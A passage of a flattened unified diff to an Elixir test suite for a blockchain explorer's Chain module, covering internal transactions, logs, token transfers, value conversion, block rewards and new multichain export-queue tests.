== - address.hash - |> Chain.address_to_internal_transactions( - paging_options: %PagingOptions{key: {2000, -1, -1}, page_size: 8} - ) - |> Enum.map(&{&1.transaction_hash, &1.index}) - end - - test "excludes internal transactions of type `call` when they are alone in the parent transaction" do - %Address{hash: address_hash} = address = insert(:address) - - transaction = - :transaction - |> insert(to_address: address) - |> with_block() - - insert(:internal_transaction, - index: 0, - to_address: address, - transaction: transaction, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - assert Enum.empty?(Chain.address_to_internal_transactions(address_hash)) - end - - test "includes internal transactions of type `create` even when they are alone in the parent transaction" do - %Address{hash: address_hash} = address = insert(:address) - - transaction = - :transaction - |> insert(to_address: address) - |> with_block() - - expected = - insert( - :internal_transaction_create, - index: 0, - from_address: address, - transaction: transaction, - block_hash: transaction.block_hash, - block_index: 0, - block_number: transaction.block_number, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.address_to_internal_transactions(address_hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - end - - describe "pending_transactions/0" do - test "without transactions" do - assert [] = Chain.recent_pending_transactions() - end - - test "with transactions" do - %Transaction{hash: hash} = insert(:transaction) - - assert [%Transaction{hash: ^hash}] = Chain.recent_pending_transactions() - end - - test "with transactions can be paginated" do - second_page_hashes = - 50 - |> insert_list(:transaction) - |> Enum.map(& &1.hash) - - %Transaction{inserted_at: inserted_at, hash: hash} = insert(:transaction) - - assert second_page_hashes == - [paging_options: %PagingOptions{key: {inserted_at, hash}, page_size: 50}] - |> Chain.recent_pending_transactions() - |> Enum.map(& &1.hash) - |> Enum.reverse() - end - end - - describe "transaction_estimated_count/1" do - test "returns integer" do - assert is_integer(TransactionCache.estimated_count()) - end - end - - describe "transaction_to_internal_transactions/1" do - test "with transaction without internal transactions" do - transaction = insert(:transaction) - - assert [] = Chain.transaction_to_internal_transactions(transaction.hash) - end - - test "with transaction with internal transactions returns all internal transactions for a given transaction hash excluding parent trace" do - block = insert(:block) - - transaction = - :transaction - |> insert() - |> with_block(block) - - first = - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - second = - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_hash: transaction.block_hash, - block_index: 1, - block_number: transaction.block_number, - transaction_index: transaction.index - ) - - results = [internal_transaction | _] = Chain.transaction_to_internal_transactions(transaction.hash) - - # excluding of internal transactions with type=call and index=0 - assert 1 == length(results) - - assert Enum.all?( - results, - &({&1.transaction_hash, &1.index} in [ - {first.transaction_hash, first.index}, - {second.transaction_hash, second.index} - ]) - ) - - assert internal_transaction.transaction.block_number == block.number - end - - test "with transaction with internal transactions loads associations with in necessity_by_association" do - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction_create, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - assert [ - %InternalTransaction{ - from_address: %Ecto.Association.NotLoaded{}, - to_address: %Ecto.Association.NotLoaded{}, - transaction: %Transaction{block: %Ecto.Association.NotLoaded{}} - } - ] = Chain.transaction_to_internal_transactions(transaction.hash) - - assert [ - %InternalTransaction{ - from_address: %Address{}, - to_address: nil, - transaction: %Transaction{block: %Block{}} - } - ] = - Chain.transaction_to_internal_transactions( - transaction.hash, - necessity_by_association: %{ - :from_address => :optional, - :to_address => :optional, - [transaction: :block] => :optional - } - ) - end - - test "excludes internal transaction of type call with no siblings in the transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - result = Chain.transaction_to_internal_transactions(transaction.hash) - - assert Enum.empty?(result) - end - - test "includes internal transactions of type `create` even when they are alone in the parent transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - expected = - insert(:internal_transaction_create, - index: 0, - transaction: transaction, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.transaction_to_internal_transactions(transaction.hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - - test "includes internal transactions of type `reward` even when they are alone in the parent transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - expected = - insert(:internal_transaction, - index: 0, - transaction: transaction, - type: :reward, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.transaction_to_internal_transactions(transaction.hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - - test "includes internal transactions of type `selfdestruct` even when they are alone in the parent transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - expected = - insert(:internal_transaction, - index: 0, - transaction: transaction, - gas: nil, - type: :selfdestruct, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.transaction_to_internal_transactions(transaction.hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - - test "returns the internal transactions in ascending index order" do - transaction = - :transaction - |> insert() - |> with_block() - - %InternalTransaction{transaction_hash: _, index: _} = - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: transaction_hash_1, index: index_1} = - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: transaction_hash_2, index: index_2} = - insert(:internal_transaction, - transaction: transaction, - index: 2, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 2, - transaction_index: transaction.index - ) - - result = - transaction.hash - |> Chain.transaction_to_internal_transactions() - |> Enum.map(&{&1.transaction_hash, &1.index}) - - # excluding of internal transactions with type=call and index=0 - assert [{transaction_hash_1, index_1}, {transaction_hash_2, index_2}] == result - end - - test "pages by index" do - transaction = - :transaction - |> insert() - |> with_block() - - %InternalTransaction{transaction_hash: _, index: _} = - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = - insert(:internal_transaction, - transaction: transaction, - index: 2, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 2, - transaction_index: transaction.index - ) - - assert [{second_transaction_hash, second_index}, {third_transaction_hash, third_index}] == - transaction.hash - |> Chain.transaction_to_internal_transactions(paging_options: %PagingOptions{key: {-1}, page_size: 2}) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert [{second_transaction_hash, second_index}] == - transaction.hash - |> Chain.transaction_to_internal_transactions(paging_options: %PagingOptions{key: {-1}, page_size: 1}) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert [{third_transaction_hash, third_index}] == - transaction.hash - |> Chain.transaction_to_internal_transactions(paging_options: %PagingOptions{key: {1}, page_size: 2}) - |> Enum.map(&{&1.transaction_hash, &1.index}) - end - end - - describe "all_transaction_to_internal_transactions/1" do - test "with transaction without internal transactions" do - transaction = insert(:transaction) - - assert [] = Chain.all_transaction_to_internal_transactions(transaction.hash) - end - - test "with transaction with internal transactions returns all internal transactions for a given transaction hash" do - block = insert(:block) - - transaction = - :transaction - |> insert() - |> with_block(block) - - first = - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - second = - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_hash: transaction.block_hash, - block_index: 1, - block_number: transaction.block_number, - transaction_index: transaction.index - ) - - results = [internal_transaction | _] = Chain.all_transaction_to_internal_transactions(transaction.hash) - - assert 2 == length(results) - - assert Enum.all?( - results, - &({&1.transaction_hash, &1.index} in [ - {first.transaction_hash, first.index}, - {second.transaction_hash, second.index} - ]) - ) - - assert internal_transaction.transaction.block_number == block.number - end - - test "with transaction with internal transactions loads associations with in necessity_by_association" do - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction_create, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - assert [ - %InternalTransaction{ - from_address: %Ecto.Association.NotLoaded{}, - to_address: %Ecto.Association.NotLoaded{}, - transaction: %Transaction{block: %Ecto.Association.NotLoaded{}} - } - ] = Chain.all_transaction_to_internal_transactions(transaction.hash) - - assert [ - %InternalTransaction{ - from_address: %Address{}, - to_address: nil, - transaction: %Transaction{block: %Block{}} - } - ] = - Chain.all_transaction_to_internal_transactions( - transaction.hash, - necessity_by_association: %{ - :from_address => :optional, - :to_address => :optional, - [transaction: :block] => :optional - } - ) - end - - test "not excludes internal transaction of type call with no siblings in the transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - result = Chain.all_transaction_to_internal_transactions(transaction.hash) - - assert Enum.empty?(result) == false - end - - test "includes internal transactions of type `create` even when they are alone in the parent transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - expected = - insert(:internal_transaction_create, - index: 0, - transaction: transaction, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.all_transaction_to_internal_transactions(transaction.hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - - test "includes internal transactions of type `reward` even when they are alone in the parent transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - expected = - insert(:internal_transaction, - index: 0, - transaction: transaction, - type: :reward, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.all_transaction_to_internal_transactions(transaction.hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - - test "includes internal transactions of type `selfdestruct` even when they are alone in the parent transaction" do - transaction = - :transaction - |> insert() - |> with_block() - - expected = - insert(:internal_transaction, - index: 0, - transaction: transaction, - gas: nil, - type: :selfdestruct, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - actual = Enum.at(Chain.all_transaction_to_internal_transactions(transaction.hash), 0) - - assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} - end - - test "returns the internal transactions in ascending index order" do - transaction = - :transaction - |> insert() - |> with_block() - - %InternalTransaction{transaction_hash: transaction_hash, index: index} = - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - result = - transaction.hash - |> Chain.all_transaction_to_internal_transactions() - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert [{transaction_hash, index}, {second_transaction_hash, second_index}] == result - end - - test "pages by index" do - transaction = - :transaction - |> insert() - |> with_block() - - %InternalTransaction{transaction_hash: transaction_hash, index: index} = - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 1, - transaction_index: transaction.index - ) - - %InternalTransaction{transaction_hash: third_transaction_hash, index: third_index} = - insert(:internal_transaction, - transaction: transaction, - index: 2, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 2, - transaction_index: transaction.index - ) - - assert [{transaction_hash, index}, {second_transaction_hash, second_index}] == - transaction.hash - |> Chain.all_transaction_to_internal_transactions( - paging_options: %PagingOptions{key: {-1}, page_size: 2} - ) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert [{transaction_hash, index}] == - transaction.hash - |> Chain.all_transaction_to_internal_transactions( - paging_options: %PagingOptions{key: {-1}, page_size: 1} - ) - |> Enum.map(&{&1.transaction_hash, &1.index}) - - assert [{third_transaction_hash, third_index}] == - transaction.hash - |> Chain.all_transaction_to_internal_transactions(paging_options: %PagingOptions{key: {1}, page_size: 2}) - |> Enum.map(&{&1.transaction_hash, &1.index}) - end - end - - describe "transaction_to_logs/3" do - test "without logs" do - transaction = insert(:transaction) - - assert [] = Chain.transaction_to_logs(transaction.hash, false) - end - - test "with logs" do - transaction = - :transaction - |> insert() - |> with_block() - - %Log{transaction_hash: transaction_hash, index: index} = - insert(:log, transaction: transaction, block: transaction.block, block_number: transaction.block_number) - - assert [%Log{transaction_hash: ^transaction_hash, index: ^index}] = - Chain.transaction_to_logs(transaction.hash, false) - end - - test "with logs can be paginated" do - transaction = - :transaction - |> insert() - |> with_block() - - log = - insert(:log, - transaction: transaction, - index: 1, - block: transaction.block, - block_number: transaction.block_number - ) - - second_page_indexes = - 2..51 - |> Enum.map(fn index -> - insert(:log, - transaction: transaction, - index: index, - block: transaction.block, - block_number: transaction.block_number - ) - end) - |> Enum.map(& &1.index) - - assert second_page_indexes == - transaction.hash - |> Chain.transaction_to_logs(false, paging_options: %PagingOptions{key: {log.index}, page_size: 50}) - |> Enum.map(& &1.index) - end - - test "with logs necessity_by_association loads associations" do - transaction = - :transaction - |> insert() - |> with_block() - - insert(:log, transaction: transaction, block: transaction.block, block_number: transaction.block_number) - - assert [%Log{address: %Address{}, transaction: %Transaction{}}] = - Chain.transaction_to_logs( - transaction.hash, - false, - necessity_by_association: %{ - address: :optional, - transaction: :optional - } - ) - - assert [ - %Log{ - address: %Ecto.Association.NotLoaded{}, - transaction: %Ecto.Association.NotLoaded{} - } - ] = Chain.transaction_to_logs(transaction.hash, false) - end - end - - describe "transaction_to_token_transfers/2" do - test "without token transfers" do - transaction = insert(:transaction) - - assert [] = Chain.transaction_to_token_transfers(transaction.hash) - end - - test "with token transfers" do - transaction = - :transaction - |> insert() - |> with_block() - - %TokenTransfer{transaction_hash: transaction_hash, log_index: log_index} = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - ) - - assert [%TokenTransfer{transaction_hash: ^transaction_hash, log_index: ^log_index}] = - Chain.transaction_to_token_transfers(transaction.hash) - end - - test "token transfers necessity_by_association loads associations" do - transaction = - :transaction - |> insert() - |> with_block() - - insert(:token_transfer, transaction: transaction, block: transaction.block, block_number: transaction.block_number) - - assert [%TokenTransfer{token: %Token{}, transaction: %Transaction{}}] = - Chain.transaction_to_token_transfers( - transaction.hash, - necessity_by_association: %{ - token: :optional, - transaction: :optional - } - ) - - assert [ - %TokenTransfer{ - token: %Ecto.Association.NotLoaded{}, - transaction: %Ecto.Association.NotLoaded{} - } - ] = Chain.transaction_to_token_transfers(transaction.hash) - end - - test "token transfers ordered by ASC log_index" do - transaction = - :transaction - |> insert() - |> with_block() - - token_transfer_0 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 0 - ) - - token_transfer_4 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 4 - ) - - token_transfer_2 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 2 - ) - - token_transfer_1 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 1 - ) - - token_transfer_3 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 3 - ) - - token_transfers_sorted = - [token_transfer_0, token_transfer_1, token_transfer_2, token_transfer_3, token_transfer_4] - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - token_transfers_unsorted = - [token_transfer_1, token_transfer_0, token_transfer_2, token_transfer_3, token_transfer_4] - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - assert token_transfers_sorted == - transaction.hash - |> Chain.transaction_to_token_transfers( - necessity_by_association: %{ - token: :optional, - transaction: :optional - } - ) - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - assert token_transfers_unsorted != - transaction.hash - |> Chain.transaction_to_token_transfers( - necessity_by_association: %{ - token: :optional, - transaction: :optional - } - ) - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - end - - test "token transfers can be paginated" do - transaction = - :transaction - |> insert() - |> with_block() - - token_transfer_0 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 0 - ) - - token_transfer_4 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 4 - ) - - token_transfer_2 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 2 - ) - - token_transfer_1 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 1 - ) - - token_transfer_3 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 3 - ) - - token_transfer_6 = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - log_index: 6 - ) - - token_transfers_first_page = - [token_transfer_0, token_transfer_1, token_transfer_2] |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - token_transfers_second_page = - [token_transfer_2, token_transfer_3, token_transfer_4] |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - token_transfers_third_page = - [token_transfer_4, token_transfer_6] |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - assert token_transfers_first_page == - transaction.hash - |> Chain.transaction_to_token_transfers( - necessity_by_association: %{ - token: :optional, - transaction: :optional - }, - paging_options: %PagingOptions{ - page_size: 3 - } - ) - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - assert token_transfers_second_page == - transaction.hash - |> Chain.transaction_to_token_transfers( - necessity_by_association: %{ - token: :optional, - transaction: :optional - }, - paging_options: %PagingOptions{ - key: {transaction.block_number, 1}, - page_size: 3 - } - ) - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - - assert token_transfers_third_page == - transaction.hash - |> Chain.transaction_to_token_transfers( - necessity_by_association: %{ - token: :optional, - transaction: :optional - }, - paging_options: %PagingOptions{ - key: {transaction.block_number, 3}, - page_size: 3 - } - ) - |> Enum.map(&{&1.transaction_hash, &1.log_index}) - end - end - - describe "value/2" do - test "with InternalTransaction.t with :wei" do - assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) - end - - test "with InternalTransaction.t with :gwei" do - assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") - - assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) - end - - test "with InternalTransaction.t with :ether" do - assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") - - assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) - end - - test "with Transaction.t with :wei" do - assert Chain.value(%Transaction{value: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) - end - - test "with Transaction.t with :gwei" do - assert Chain.value(%Transaction{value: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") - assert Chain.value(%Transaction{value: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) - end - - test "with Transaction.t with :ether" do - assert Chain.value(%Transaction{value: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") - assert Chain.value(%Transaction{value: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) - end - end - - describe "find_contract_address/1" do - test "doesn't find an address that doesn't have a code" do - address = insert(:address, contract_code: nil) - - response = Chain.find_contract_address(address.hash) - - assert {:error, :not_found} == response - end - - test "doesn't find a nonexistent address" do - nonexistent_address_hash = Factory.address_hash() - - response = Chain.find_contract_address(nonexistent_address_hash) - - assert {:error, :not_found} == response - end - - test "finds a contract address" do - address = - insert(:address, contract_code: Factory.data("contract_code"), smart_contract: nil, names: []) - |> Repo.preload([ - :contracts_creation_internal_transaction, - :contracts_creation_transaction, - :token, - :smart_contract_additional_sources - ]) - - options = [ - necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, - :names => :optional, - :smart_contract => :optional, - :token => :optional, - :contracts_creation_transaction => :optional - } - ] - - response = Chain.find_contract_address(address.hash, options, true) - - assert response == {:ok, address} - end - end - - describe "find_decompiled_contract_address/1" do - test "returns contract with decompiled contracts" do - address = insert(:address) - insert(:decompiled_smart_contract, address_hash: address.hash) - insert(:decompiled_smart_contract, address_hash: address.hash, decompiler_version: "2") - - {:ok, address} = Chain.find_decompiled_contract_address(address.hash) - - assert Enum.count(address.decompiled_smart_contracts) == 2 - end - end - - describe "block_reward/1" do - setup do - %{block_range: range} = emission_reward = insert(:emission_reward) - - block = insert(:block, number: Enum.random(Range.new(range.from, range.to))) - insert(:transaction) - - {:ok, block: block, emission_reward: emission_reward} - end - - test "with block containing transactions", %{block: block, emission_reward: emission_reward} do - :transaction - |> insert(gas_price: 1) - |> with_block(block, gas_used: 1) - - :transaction - |> insert(gas_price: 1) - |> with_block(block, gas_used: 2) - - expected = - emission_reward.reward - |> Wei.to(:wei) - |> Decimal.add(Decimal.new(3)) - |> Wei.from(:wei) - - assert expected == Chain.block_reward(block.number) - end - - test "with block without transactions", %{block: block, emission_reward: emission_reward} do - assert emission_reward.reward == Chain.block_reward(block.number) - end - end - - describe "block_reward_by_parts/1" do - setup do - {:ok, emission_reward: insert(:emission_reward)} - end - - test "without uncles", %{emission_reward: %{reward: reward, block_range: range}} do - block = build(:block, number: range.from, base_fee_per_gas: 5, uncles: []) - - tx1 = build(:transaction, gas_price: 1, gas_used: 1, block_number: block.number, block_hash: block.hash) - tx2 = build(:transaction, gas_price: 1, gas_used: 2, block_number: block.number, block_hash: block.hash) - - tx3 = - build(:transaction, - gas_price: 1, - gas_used: 3, - block_number: block.number, - block_hash: block.hash, - max_priority_fee_per_gas: 1 - ) - - expected_txn_fees = %Wei{value: Decimal.new(6)} - expected_burned_fees = %Wei{value: Decimal.new(30)} - expected_uncle_reward = %Wei{value: Decimal.new(0)} - - assert %{ - static_reward: ^reward, - txn_fees: ^expected_txn_fees, - burned_fees: ^expected_burned_fees, - uncle_reward: ^expected_uncle_reward - } = Chain.block_reward_by_parts(block, [tx1, tx2, tx3]) - end - - test "with uncles", %{emission_reward: %{reward: reward, block_range: range}} do - block = - build(:block, number: range.from, uncles: ["0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d15273311"]) + on_exit(fn -> + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.MultichainSearch, multichain_configuration) + end) - expected_uncle_reward = Wei.mult(reward, Decimal.from_float(1 / 32)) + bypass = Bypass.open() - assert %{uncle_reward: ^expected_uncle_reward} = Chain.block_reward_by_parts(block, []) - end - end + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + addresses_chunk_size: 7_000 + ) - describe "gas_payment_by_block_hash/1" do - setup do - number = 1 + TestHelper.get_chain_id_mock() + Chain.import(@import_data) - %{consensus_block: insert(:block, number: number, consensus: true), number: number} + # 3 addresses + 1 block + 1 transaction + assert Repo.aggregate(MainExportQueue, :count, :hash) == 5 end - test "without consensus block hash has no key", %{consensus_block: consensus_block, number: number} do - non_consensus_block = insert(:block, number: number, consensus: false) - - :transaction - |> insert(gas_price: 1) - |> with_block(consensus_block, gas_used: 1) + test "populates balances multichain export queue and updates it, if the multichain service is enabled" do + Supervisor.terminate_child(Explorer.Supervisor, ChainId.child_id()) + Supervisor.restart_child(Explorer.Supervisor, ChainId.child_id()) + multichain_configuration = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.MultichainSearch) - :transaction - |> insert(gas_price: 1) - |> with_block(consensus_block, gas_used: 2) + on_exit(fn -> + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.MultichainSearch, multichain_configuration) + end) - assert Chain.gas_payment_by_block_hash([non_consensus_block.hash]) == %{} - end + bypass = Bypass.open() + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.MultichainSearch, + service_url: "http://localhost:#{bypass.port}", + addresses_chunk_size: 7_000 + ) + + import_data_1 = %{ + address_current_token_balances: %{ + params: [ + %{ + address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + token_contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + block_number: "37", + value: 200, + value_fetched_at: DateTime.utc_now(), + token_type: "ERC-20", + token_id: nil + } + ] + } + } - test "with consensus block hash without transactions has key with 0 value", %{ - consensus_block: %Block{hash: consensus_block_hash} - } do - assert Chain.gas_payment_by_block_hash([consensus_block_hash]) == %{ - consensus_block_hash => %Wei{value: Decimal.new(0)} - } - end + TestHelper.get_chain_id_mock() + Chain.import(import_data_1) + + # 1 token balance + assert Repo.aggregate(BalancesExportQueue, :count, :id) == 1 + + [token_balance_export_item] = Repo.all(BalancesExportQueue) + assert token_balance_export_item.value == %Explorer.Chain.Wei{value: Decimal.new(200)} + + import_data_2 = %{ + address_current_token_balances: %{ + params: [ + %{ + address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", + token_contract_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + block_number: "40", + value: 500, + value_fetched_at: DateTime.utc_now(), + token_type: "ERC-20", + token_id: nil + } + ] + } + } - test "with consensus block hash with transactions has key with value", %{ - consensus_block: %Block{hash: consensus_block_hash} = consensus_block - } do - :transaction - |> insert(gas_price: 1) - |> with_block(consensus_block, gas_used: 2) + Chain.import(import_data_2) - :transaction - |> insert(gas_price: 3) - |> with_block(consensus_block, gas_used: 4) + # 1 token balance + assert Repo.aggregate(BalancesExportQueue, :count, :id) == 1 - assert Chain.gas_payment_by_block_hash([consensus_block_hash]) == %{ - consensus_block_hash => %Wei{value: Decimal.new(14)} - } + [token_balance_export_item] = Repo.all(BalancesExportQueue) + # token balance value has been updated + assert token_balance_export_item.value == %Explorer.Chain.Wei{value: Decimal.new(500)} end end - describe "missing_block_number_ranges/1" do - # 0000 - test "0..0 without blocks" do - assert Chain.missing_block_number_ranges(0..0) == [0..0] + describe "list_blocks/2" do + test "without blocks" do + assert [] = Chain.list_blocks() end - # 0001 - test "0..0 with block 3" do - insert(:block, number: 3) + test "with blocks" do + %Block{hash: hash} = insert(:block) - assert Chain.missing_block_number_ranges(0..0) == [0..0] + assert [%Block{hash: ^hash}] = Chain.list_blocks() end - # 0010 - test "0..0 with block 2" do - insert(:block, number: 2) + test "with blocks can be paginated" do + second_page_block_ids = + 50 + |> insert_list(:block) + |> Enum.map(& &1.number) - assert Chain.missing_block_number_ranges(0..0) == [0..0] - end + block = insert(:block) - # 0011 - test "0..0 with blocks 2,3" do - Enum.each([2, 3], &insert(:block, number: &1)) + assert second_page_block_ids == + [paging_options: %PagingOptions{key: {block.number}, page_size: 50}] + |> Chain.list_blocks() + |> Enum.map(& &1.number) + |> Enum.reverse() + end + end - assert Chain.missing_block_number_ranges(0..0) == [0..0] + describe "block_hash_by_number/1" do + test "without blocks returns empty map" do + assert Chain.block_hash_by_number([]) == %{} end - # 0100 - test "0..0 with block 1" do - insert(:block, number: 1) + test "with consensus block returns mapping" do + block = insert(:block) - assert Chain.missing_block_number_ranges(0..0) == [0..0] + assert Chain.block_hash_by_number([block.number]) == %{block.number => block.hash} end - # 0101 - test "0..0 with blocks 1,3" do - Enum.each([1, 3], fn num -> - insert(:block, number: num) - Process.sleep(200) - end) + test "with non-consensus block does not return mapping" do + block = insert(:block, consensus: false) - assert Chain.missing_block_number_ranges(0..0) == [0..0] + assert Chain.block_hash_by_number([block.number]) == %{} end + end - # 0111 - test "0..0 with blocks 1..3" do - Enum.each(1..3, fn num -> - insert(:block, number: num) - Process.sleep(200) - end) + describe "stream_blocks_without_rewards/2" do + test "includes consensus blocks" do + %Block{hash: consensus_hash} = insert(:block, consensus: true) - assert Chain.missing_block_number_ranges(0..0) == [0..0] + assert {:ok, [%Block{hash: ^consensus_hash}]} = Chain.stream_blocks_without_rewards([], &[&1 | &2]) end - # 1000 - test "0..0 with block 0" do - insert(:block, number: 0) + test "does not include consensus block that has a reward" do + %Block{hash: consensus_hash, miner_hash: miner_hash} = insert(:block, consensus: true) + insert(:reward, address_hash: miner_hash, block_hash: consensus_hash) - assert Chain.missing_block_number_ranges(0..0) == [] + assert {:ok, []} = Chain.stream_blocks_without_rewards([], &[&1 | &2]) end - # 1001 - test "0..0 with blocks 0,3" do - Enum.each([0, 3], &insert(:block, number: &1)) + # https://github.com/poanetwork/blockscout/issues/1310 regression test + test "does not include non-consensus blocks" do + insert(:block, consensus: false) - assert Chain.missing_block_number_ranges(0..0) == [] + assert {:ok, []} = Chain.stream_blocks_without_rewards([], &[&1 | &2]) end + end - # 1010 - test "0..0 with blocks 0,2" do - 